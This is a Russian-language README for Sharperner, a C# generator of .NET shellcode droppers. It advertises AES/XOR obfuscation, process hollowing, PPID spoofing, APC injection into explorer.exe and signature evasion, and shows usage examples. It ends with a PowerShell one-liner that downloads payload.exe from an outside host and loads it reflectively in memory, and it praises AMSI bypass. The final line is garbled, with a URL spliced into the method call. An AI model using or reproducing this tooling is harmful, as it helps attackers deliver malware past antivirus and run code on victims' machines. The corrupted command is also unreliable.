Sharperner

Sharperner — это инструмент, написанный на CSharp, который генерирует .NET дроппер с обфусцированным с помощью AES и XOR шеллкодом. Сгенерированный исполняемый файл может обойти проверку сигнатур, но я не могу быть уверен, что он обойдет эвристическое сканирование.

Возможности

PE бинарный

• Process Hollowing
• PPID Spoofing
• Случайно сгенерированные ключ AES и IV
• Финальный шеллкод, ключ и IV переводятся в азбуку Морзе :)

.NET бинарный

• Шеллкод, зашифрованный AES + XOR
• APC внедрение процесса (explorer.exe)
• Случайные имена функций
• Случайно сгенерированные ключ AES и IV
• Финальный шеллкод, ключ и IV переводятся в азбуку Морзе :)

Использование

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Рекомендация

Чтобы избежать касания диска, сгенерированный .NET исполняемый файл можно загрузить рефлективно с помощью PowerShell. AMSI — враг, amsi.fail рулит!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()